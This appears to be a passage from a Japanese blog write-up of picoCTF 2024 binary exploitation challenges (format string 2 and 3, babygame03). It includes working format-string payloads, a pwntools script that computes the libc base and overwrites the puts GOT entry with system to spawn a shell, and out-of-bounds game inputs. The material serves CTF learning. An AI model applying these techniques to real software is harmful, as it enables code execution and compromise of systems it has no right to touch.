6,0x7d47414c46))'
b'picoCTF{FLAGFLAGFLAG}\x00\x00\x00'
サーバでも、同じようにするとフラグが読めました。
Medium の問題です。バイナリファイル(vuln)が 1つと、ソースファイル(vuln.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できます。ファイル名が突然変わりました。
format string 2問題
これまでのソースコードと異なるので、普通にやっていきます。表層解析です。メモリ実行が禁止で、プログラムのアドレスのランダム化は無効です。
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 vuln
ソースコードを見てみます。
「format string 1」とちょっと似てます。これは、おそらく、書式文字列攻撃で書き込むやつですね。
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
グローバル変数の sus のアドレスを求めます。
$ nm vuln | grep sus
0000000000404060 D sus
buf の位置を確認するために、たくさん %p を入れます。
14個目が buf でした。レジスタが 5個分と、flag の領域が 64byte なので、8個分あるためです。
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's your input: AAAABBBB0x402075,(nil),(nil),0x402073,0x7fb70aae3a80,0x2,0x7fb70ab0bb60,0x1,(nil),0x1,0x7fb70ab0b160,0x7fff64eab9b8,0x7fff64eab9c0,0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x70252c,0x7fb70ab0b160,0xd,0x7fb70aae3198,0x7fff64eabeb8,0x403e18,0x7fb70ab3f020,0x7fb70ab1cebe,0x1
sus = 0x21737573
You can do better!
AAAABBBB のところを、sus のアドレスに変えてみます。AAAABBBB から sus のアドレスに変えても期待通りに表示されるかを確認してみます。
思った通りにはいきませんでした。途中でゼロが入るため、printf関数は、文字列として、先頭の3byteだけを認識したようです。
$ echo -e '\x60\x40\x40\x00\x00\x00\x00\x00%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: `@@
sus = 0x21737573
You can do better!
困りました。セキュリティコンテストチャレンジブックにも、ゼロが入った場合の説明はありません。うーん、では、ゼロを含むアドレスは、15番目にして、14番目は、15番目を表示する内容にすればいいかもです。つまり、%p と アドレスの指定を入れ替えるということです。
期待通りの表示が出力されました。
$ echo -e '%15$pAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: 0x404060AAA`@@
sus = 0x21737573
You can do better!
%p を %s に変更して、アドレスの先の値を見に行きます。
値なので、hexdumpコマンドで見ます。00000070 の行の後ろの方に、20(スペース)の次からが、%15s の出力です。73 75 73 21(0x21737573)が参照できています。
$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: sus!AAA`@@
sus = 0x21737573
You can do better!
$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln | hexdump -C
00000000 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 77 |You don't have w|
00000010 68 61 74 20 69 74 20 74 61 6b 65 73 2e 20 4f 6e |hat it takes. On|
00000020 6c 79 20 61 20 74 72 75 65 20 77 69 7a 61 72 64 |ly a true wizard|
00000030 20 63 6f 75 6c 64 20 63 68 61 6e 67 65 20 6d 79 | could change my|
00000040 20 73 75 73 70 69 63 69 6f 6e 73 2e 20 57 68 61 | suspicions. Wha|
00000050 74 20 64 6f 20 79 6f 75 20 68 61 76 65 20 74 6f |t do you have to|
00000060 20 73 61 79 3f 0a 48 65 72 65 27 73 20 79 6f 75 | say?.Here's you|
00000070 72 20 69 6e 70 75 74 3a 20 73 75 73 21 41 41 41 |r input: sus!AAA|
00000080 60 40 40 0a 73 75 73 20 3d 20 30 78 32 31 37 33 |`@@.sus = 0x2173|
00000090 37 35 37 33 0a 59 6f 75 20 63 61 6e 20 64 6f 20 |7573.You can do |
000000a0 62 65 74 74 65 72 21 0a |better!.|
000000a8
%s を %n に変えて、グローバル変数 sus の値を書き換えます。
期待通りの書き換えが出来ました。先頭に %15$n を置いたときは、それまでに出力した数がゼロなので、sus はゼロに書き換わりました。最初に 3文字の A を置くと、sus は 3 に書き換わりました。
$ echo -e '%15$nAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x0
You can do better!
$ echo -e 'AAA%15$n\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x3
You can do better!
あとは、この値を 0x67616c66 に書き換えればいい、ということになります。値が大きいので、2回に分けます。値の大きい方から先に書き換えます(文字数のカウントは継続するため)。最初に、上位16bitを 0x6761(26,465)に書き換えます。次に、sus の下位16bitを 0x6c66(27,750)に書き換えます。差は、27750-26465=1285 です。
アドレスに 0 を含むため、先に書式を書く必要があります。後ろには 0 を含みますが、表示してほしいのは前半の AAAA の前までなので、問題ありません。
無事、フラグが表示されました。
$ echo -e '%26465c%18$hn%1285c%19$hnAAAAAAA\x62\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
(途中、省略)
AAAAAAAb@@
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}
同じことをサーバで実行すると、フラグが表示されました。
format stringシリーズの最後の問題です。
Medium の問題です。バイナリファイル(format-string-3)が 1つと、ソースファイル(format-string-3.c)が 1つと、libc(libc.so.6)と、動的リンカ(ld-linux-x86-64.so.2)がダウンロードできます。また、インスタンス(サーバ)を起動できます。
format string 3問題
表層解析から行います。スタックカナリヤが有効で、メモリ実行可能です。追加で lddコマンドを実行しました。ダウンロードした libc と ld-linux が使われるようです(libc はいいですが、ld-linux は表示が少しおかしい?)。
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ checksec --file=format-string-3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX disabled No PIE No RPATH RW-RUNPATH 44 Symbols No 0 2 format-string-3
$ ldd format-string-3
linux-vdso.so.1 (0x00007ffea8767000)
libc.so.6 => ./libc.so.6 (0x00007fbb84dec000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fbb84fd0000)
ソースコードを見てみます。フラグの表示がありませんね。シェルを取得する問題だと思います。書式文字列攻撃で、最後の puts関数を system関数に置き換えることが出来れば良さそうですね、puts関数の引数が /bin/sh にしてくれてますし。
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
puts関数のアドレスを知る必要がありますが、ASLR のため、事前には得られません。setvbuf関数のアドレスも毎回変化しますが、アドレスを表示してくれているので、これを使うと相対的に system関数のアドレスが求まりそうです。
一度実行してみます。
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fbe141303f0
aa
aa
/bin/sh
まず、アドレスを調べます。setbuf関数の libc内の相対アドレスは 0x7a3f0 で、system関数の libc内の相対アドレスは 0x4f760 です。setbuf関数の絶対アドレスが表示されるので、setbuf関数の相対アドレスを引くと、libcのベースアドレスが求まります。system関数の相対アドレスを足すと、system関数の絶対アドレスが求まります。
$ nm -D libc.so.6 | grep setvbuf
000000000007a3f0 T _IO_setvbuf@@GLIBC_2.2.5
000000000007a3f0 W setvbuf@@GLIBC_2.2.5
$ nm -D libc.so.6 | grep system
000000000004f760 T __libc_system@@GLIBC_PRIVATE
000000000014e1c0 T svcerr_systemerr@GLIBC_2.2.5
000000000004f760 W system@@GLIBC_2.2.5
GDB でアセンブラを確認します。
RSP + 0x100(rbp - 0x410)のアドレスを buf に使っているようです。つまり、レジスタ 5個 と 8byte が 32個(0x100 / 8 = 32)で、計37個なので、38番目に buf が出現するはずです。
pwndbg> nearpc 20
► 0x40124b <main+8> sub rsp, 0x510 RSP => 0x7fffffffe120 - 0x510
0x401252 <main+15> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7ddd768]
0x40125b <main+24> mov qword ptr [rbp - 8], rax
0x40125f <main+28> xor eax, eax EAX => 0
0x401261 <main+30> lea rdx, [rbp - 0x510]
0x401268 <main+37> mov eax, 0 EAX => 0
0x40126d <main+42> mov ecx, 0x20 ECX => 0x20
0x401272 <main+47> mov rdi, rdx
0x401275 <main+50> rep stosq qword ptr [rdi], rax
0x401278 <main+53> mov qword ptr [rbp - 0x410], 0
0x401283 <main+64> mov qword ptr [rbp - 0x408], 0
0x40128e <main+75> lea rdx, [rbp - 0x400]
0x401295 <main+82> mov eax, 0 EAX => 0
0x40129a <main+87> mov ecx, 0x7e ECX => 0x7e
0x40129f <main+92> mov rdi, rdx
0x4012a2 <main+95> rep stosq qword ptr [rdi], rax
0x4012a5 <main+98> mov eax, 0 EAX => 0
0x4012aa <main+103> call setup <setup>
0x4012af <main+108> mov eax, 0 EAX => 0
0x4012b4 <main+113> call hello <hello>
0x4012b9 <main+118> mov rdx, qword ptr [rip + 0x2db0] RDX, [stdin@GLIBC_2.2.5]
0x4012c0 <main+125> lea rax, [rbp - 0x410]
0x4012c7 <main+132> mov esi, 0x400 ESI => 0x400
0x4012cc <main+137> mov rdi, rax
0x4012cf <main+140> call fgets@plt <fgets@plt>
(以降、割愛)
やってみます。合っているようです。
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f6baf1d03f0
AAAABBBB,%38$p
AAAABBBB,0x4242424241414141
/bin/sh
あとは、puts関数の GOT を調べます。0x404018 でした。
$ readelf -r format-string-3
Relocation section '.rela.dyn' at offset 0x15d8 contains 6 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fe8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403ff0 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403ff8 000800000006 R_X86_64_GLOB_DAT 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404060 000700000005 R_X86_64_COPY 0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070 000900000005 R_X86_64_COPY 0000000000404070 stdin@GLIBC_2.2.5 + 0
000000404080 000a00000005 R_X86_64_COPY 0000000000404080 stderr@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x1668 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404030 000500000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
pwndbg の場合は、gotコマンドが使えます。楽ちんです。
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/user/svn/experiment/picoCTF/picoCTF2024_BinaryExploitation/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
情報は揃ったので、pwntools を使って実装していきます。
pwntools には、fmtstr_payload という書式文字列攻撃を自動化する便利な関数が用意されているそうです。今回はこれを使ってみます。ちょっと練習してみます。
まず、練習として、グローバル変数の normal_string を書き換えてみます。アドレスを調べます。
$ nm format-string-3 | grep normal_st
0000000000404048 D normal_string
gdb-peda$ x/1xg 0x404048
0x404048 <normal_string>: 0x0000000000402008
gdb-peda$ x/1s 0x402008
0x402008: "/bin/sh"
- 第1引数 offset:オフセット、今回は 38 です
- 第2引数 writes:書き込み先のアドレスと値の辞書、今回は、0x402008 に、例えば、0x47414c46(FLAG)を書きたいので、
{0x402008: 0x47414c46} にします
- 第3引数 numbwritten:printf関数が既に出力したバイト数、今回は 0 です
- 第4引数 write_size:何byteずつ書き込むか(int or short or byte)、大きくなりそうなので short にします。
まず、x86-64 を設定します。作られたペイロードを見ると、下位16bit(0x4c46)の方が、上位16bit(0x4741)より大きいので、先に、上位16bitから指定しています。
>>> context.binary = '/bin/bash'
[*] '/bin/bash'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
>>> context.arch, context.bits
('amd64', 64)
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short"
)
b'%19526c%42$lln%64251c%43$hnaaaab\x08 @\x00\x00\x00\x00\x00\n @\x00\x00\x00\x00\x00'
>>> fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").hex()
'25313935323663253432246c6c6e2536343235316325343324686e616161616208204000000000000a20400000000000'
では、試してみます。うーん、セグメンテーションフォールトが発生します。
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={0x402008: 0x47414c46}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
(途中、省略)
Segmentation fault
「format string 2」で試してみます。うまくいきますね。
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=14, writes={0x404060: 0x67616c66}, numbwritten=0, write_size="short").decode("utf-8"))' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
(途中、省略)
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}
あ、分かりました、間違えてました。0x402008 は、normal_string に格納されているアドレスであり、"/bin/sh" が格納されているアドレスなので、そこを書き換えるということは、const領域を書き換えることになるからですね。それは Read Only なはずなので無理でした。では、代わりに、normal_string に格納されているアドレスを書き換えるようにします。0x402008 が格納されているので、それを 2byte ずらして、0x40200a に書き換えます。
"/b" が消えて、2byte進んだところから表示されました、想定通りです。
$ python -c 'from pwn import *; context.bits=64; print(fmtstr_payload(offset=38, writes={
0x404048: 0x40200a}, numbwritten=0, write_size="short").decode("utf-8"))' | ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f7af9fa73f0
(途中、省略)
in/sh
何個あるかとか数えなくていいので便利ですね。実装した Pythonスクリプトは以下です。
import os, sys
from pwn import *
context.bits = 64
adrs = '127.0.0.1'
port = 4000
setbuf_raddr = 0x7a3f0
system_raddr = 0x4f760
puts_got = 0x404018
proc = remote( adrs, port )
print( proc.recvline() )
ret = proc.recvline()
print( ret )
ret = ret.decode( 'utf-8' )
assert "setvbuf" in ret, f"ret={ret}"
idx = ret.index("libc")
setbuf_aaddr = int( ret[idx + 6:], base=16 )
print( f"setbuf_aaddr={setbuf_aaddr}" )
libc_base = setbuf_aaddr - setbuf_raddr
system_aaddr = libc_base + system_raddr
payload = fmtstr_payload( offset=38, writes={puts_got: system_aaddr}, numbwritten=0, write_size="short" )
proc.send( payload )
proc.interactive()
実行します。
$ python tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Howdy gamers!\n'
b"Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f504fe933f0\n"
setbuf_aaddr=139982914794480
[*] Switching to interactive mode
$ ls
(途中、省略)
atk.bin
flag.txt
format-string-0
format-string-0.c
format-string-1
format-string-1.c
format-string-3
format-string-3.c
heap0
heap1
heap2
heap3
ld-linux-x86-64.so.2
libc.so.6
peda-session-chall.txt
peda-session-format-string-1.txt
peda-session-format-string-3.txt
peda-session-vuln.txt
pwnable.log
pwnable.py
secret-menu-item-1.txt
secret-menu-item-2.txt
tmp.py
vuln
vuln.c
シェルが取れました。サーバでも同じようにすると、カレントディレクトリに flag.txt があり、cat すると、フラグが表示されました。
format stringシリーズを完了しました。
babygame03(400ポイント)
ついに、Hard の問題です。バイナリファイル(game)が 1つだけダウンロードできます。また、インスタンス(サーバ)を起動できます。今回はソースコードを提供してくれないようです。
babygame03問題
表層解析です。シンボルは残っています。32bitプログラムで、メモリ実行不可で、プログラムのアドレスランダム化は無効です。
$ file game
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a029dc18edaa968bc97e9c92c73151ae8155edaf, for GNU/Linux 3.2.0, not stripped
$ checksec --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 60 Symbols No 0 2 game
Ghidra で逆コンパイルします。main関数と win関数は以下です。変数名は分かりやすい名前に変えています。
win関数に行くには、do while を抜ける必要があります。その条件は、tate が 0x1d、かつ、yoko が 0x59、かつ、level が 5、かつ、local_14 が 4 となることのようです。
2段階あるようで、1段階目を突破するには、tate が 0x1d、かつ、yoko が 0x59、かつ、level が 4 ではない、となることが必要のようです。
undefined4 main(void)
{
int iVar1;
int level;
int tate;
int yoko;
undefined map [2700];
char input;
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
init_player(&tate);
level = 1;
local_14 = 0;
init_map(map,&tate,&level);
print_map(map,&tate,&level);
signal(2,sigint_handler);
do {
iVar1 = getchar();
input = (char)iVar1;
move_player(&tate,(int)input,map,&level);
print_map(map,&tate,&level);
if (((tate == 0x1d) && (yoko == 0x59)) && (level != 4)) {
puts("You win!\n Next level starting ");
local_14 = local_14 + 1;
level = level + 1;
init_player(&tate);
init_map(map,&tate,&level);
}
} while (((tate != 0x1d) || (yoko != 0x59)) || ((level != 5 || (local_14 != 4))));
win(&level);
return 0;
}
void win(int *level)
{
char local_4c [60];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
fflush(_stdout);
exit(0);
}
fgets(local_4c,0x3c,local_10);
if (*level == 5) {
printf(local_4c);
fflush(_stdout);
}
return;
}
続いて、init_player関数、init_map関数、print_map関数、move_player関数です。
void init_player(undefined4 *player)
{
*player = 4;
player[1] = 4;
player[2] = 0x32;
return;
}
void init_map(int map,int *player,int *level)
{
int iVar1;
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if ((local_10 == 0x1d) && (local_14 == 0x59)) {
*(undefined *)(map + 0xa8b) = 0x58;
}
else if ((local_10 == *player) && (local_14 == player[1])) {
*(undefined *)(local_14 + map + local_10 * 0x5a) = player_tile;
}
else {
iVar1 = rand();
if (local_10 == iVar1 % *level) {
iVar1 = rand();
if (local_14 == iVar1 % *level) {
*(undefined *)(local_14 + map + local_10 * 0x5a) = 0x23;
goto LAB_08049301;
}
}
*(undefined *)(local_14 + map + local_10 * 0x5a) = 0x2e;
}
LAB_08049301:
}
local_10 = local_10 + 1;
} while( true );
}
void print_map(int map,undefined4 player,undefined4 level)
{
int local_14;
int local_10;
clear_screen();
find_player_pos(map,level);
find_end_tile_pos(map);
print_lives_left(player);
for (local_10 = 0; local_10 < 0x1e; local_10 = local_10 + 1) {
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
putchar((int)*(char *)(local_14 + map + local_10 * 0x5a));
}
putchar(10);
}
fflush(_stdout);
return;
}
void move_player(int *player,char input,int map,undefined4 level)
{
int iVar1;
if (player[2] < 1) {
puts("No more lives left. Game over!");
fflush(_stdout);
exit(0);
}
if (input == 'l') {
iVar1 = getchar();
player_tile = (undefined)iVar1;
}
if (input == 'p') {
solve_round(map,player,level);
}
*(undefined *)(*player * 0x5a + map + player[1]) = 0x2e;
if (input == 'w') {
*player = *player + -1;
}
else if (input == 's') {
*player = *player + 1;
}
else if (input == 'a') {
player[1] = player[1] + -1;
}
else if (input == 'd') {
player[1] = player[1] + 1;
}
if (*(char *)(*player * 0x5a + map + player[1]) == '#') {
puts("You hit an obstacle!");
fflush(_stdout);
exit(0);
}
*(undefined *)(*player * 0x5a + map + player[1]) = player_tile;
player[2] = player[2] + -1;
return;
}
実際に動かしてみます。wasd を押してみます。w、s、a、dキーでプレーヤを移動させるみたいですね。w が↑、sが↓、aが←、dが→ のようです。
このマップは、横に 90マス、縦に 30マスあるようです。座標は、左上が(0, 0)で、右下に向かって増えていきます。init_player関数で、プレーヤの位置(4, 4)と、ライフ(50)が初期化されます。
# がゴールなのか、X がゴールなのか。# を目指してみます。# に当たると、You hit an obstacle! と言われて終了しました。
X を目指してみると、途中で、No more lives left. Game over! と言われました。動ける量に限りがあるようです。
1段階目の条件は、X にたどりつくことのようです。
あと、lキーと、pキーが使えるようですが、lキーは、プレーヤ位置の @ マークを変更できるだけのように見えます。pキーは、solve_round関数が処理されます。自動で動作する関数のようです。
まともに操作しても、X にたどりつくのは難しいですね。solve_round関数が気になります。
$ ./game
Player position: 4 4
Level: 1
End tile position: 29 89
Lives left: 50
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
solve_round関数です。ついでに、find_player_pos関数、find_end_tile_pos関数、print_lives_left関数、clear_screen関数です。いくつか判明した変数は名前を変更しています。solve_round関数は、自動で操作してくれる関数でしょうか。
int solve_round(undefined4 map,int *player,undefined4 level)
{
int iVar1;
while (player[1] != 0x59) {
if (player[1] < 0x59) {
move_player(player,100,map,level);
}
else {
move_player(player,0x61,map,level);
}
print_map(map,player,level);
}
while (*player != 0x1d) {
if (player[1] < 0x1d) {
move_player(player,0x77,map,level);
}
else {
move_player(player,0x73,map,level);
}
print_map(map,player,level);
}
sleep(0);
iVar1 = *player;
if (iVar1 == 0x1d) {
iVar1 = player[1];
}
return iVar1;
}
void find_player_pos(int map,undefined4 *level)
{
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if (*(char *)(local_14 + map + local_10 * 0x5a) == player_tile) {
printf("Player position: %d %d\n",local_10,local_14);
printf("Level: %d\n",*level);
return;
}
}
local_10 = local_10 + 1;
} while( true );
}
void find_end_tile_pos(int map)
{
int local_14;
int local_10;
local_10 = 0;
do {
if (0x1d < local_10) {
return;
}
for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
if (*(char *)(local_14 + map + local_10 * 0x5a) == 'X') {
printf("End tile position: %d %d\n",local_10,local_14);
return;
}
}
local_10 = local_10 + 1;
} while( true );
}
void print_lives_left(int player)
{
printf("Lives left: %d\n",*(undefined4 *)(player + 8));
return;
}
void clear_screen(void)
{
printf("\x1b[2J");
fflush(_stdout);
return;
}
solve_round関数の 2個目の while の条件が変だと思いますが、関係なさそうです。だいたい分かってきました。マップの範囲をチェックされないので、超えても進めてしまいます。あ、マップの範囲を超えて、任意のマークで値を書き換えるということだと思います!
ちなみに、左に逆向きに進んで、マイナスにすると、表示上はゴールに着けますが、座標としてはマイナスとなってしまい、条件の 下方向 29、右方向 89 とはならないので、ゴール判定になりませんでした。うまく出来てますね(笑)。
スタックの分析を行います。スタックは main関数の先頭で、0xab0(2736byte)確保されます。
| アドレス |
サイズ |
内容 |
| ebp |
|
|
| ebp - 0xc(12byte) |
4 |
local_14 |
| ebp - 0xa99(2713byte) |
2700 |
マップ |
| ebp - 0xaa8(2728byte) |
12(15?) |
下向きのオフセット、右方向のオフセット、ライフ |
| ebp - 0xaac(2732byte) |
4 |
レベル |
まず、ライフを書き換えてみます。
左に 4+7(aaaaaaaaaaa)行って、上に 3+1(wwww)行きます。ここにライフがあるはずです。ここを大きな値(lz)に書き換えます。ここまでやったところで想定外がありました。何に書き換えても 0x2e(.)に書き戻されてしまいます。これは座標を任意の位置にすることは難しいと思います。
というわけで、lキーは使えないので、ライフの最上位バイトを 0x2e(.)にして、ライフをとても大きい値にしてみます。左に 4+4(aaaaaaaa)行って、上に 3+1(wwww)行って、下に 1つ戻ります(s)。つまり、aaaaaaaawwwws です。やってみます。ライフが 771751972 になりました!
あとは、d と s でゴールまで行けばクリアです。あれ?クリアできません。GDB で見てみます。あ、横方向の座標がマイナスのままでした。右方向に一周します。GDB がリターンキーを押すと、直前のコマンドを繰り返してくれる機能がとてもありがたいです。一周するとゴールできました。レベル 2です!
マップの障害物の位置が右に一つずれました。乱数を使ってたようなので、たまたまでしょうか。基本は同じ方法でいけると思います。しかし、いちいち手作業でゴールに向かうのは大変です。pキーの機能を使ってみます。aaaaaaaawwwwsp です。だいぶ楽ちんです。この入力を繰り返せばクリアできそうです。
レベル 4 まで来ましたが、先に進めません。条件文を見直すと、レベル 4 のときは、最後の while の条件を突破する必要がありそうです。tate と yoko の条件は満たしていますが、レベル 5 と、local_14 の条件が満たせていません。local_14 は、レベル - 1 ですね。両方同時に上がればクリアできそうですが、レベルをインクリメントする if文の中に入れません。
いろいろやってみましたが、ちょっと分かりません。ギブアップします。
他の方の writeup を少し見させてもらったところ、リターンアドレスを書き換えて、ジャンプするそうです。なるほどです。リターンアドレスの書き換えは思いつきませんでした。やはり、Hard 問題は、難しかったです。
現段階では、Medium 問題は、何とか解けそうですが、Hard 問題は、もう少しじっくり取り組む必要があります。最後の方は、ガチャガチャやってた感じがあって、よくなかったと思います。
high frequency troubles(500ポイント)
未着手です。
high frequency troubles問題
おわりに
今回は、picoCTF の picoCTF 2024 のうち、Binary Exploitation というカテゴリの全10問をやりたかったのですが、最後の 2問はだいぶレベルが高かったです。最後の 1問は、もう少し経験を積んでからチャレンジしたいと思います。
次は、picoCTF 2024 の Reverse Engineering に挑戦してみたいと思います。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。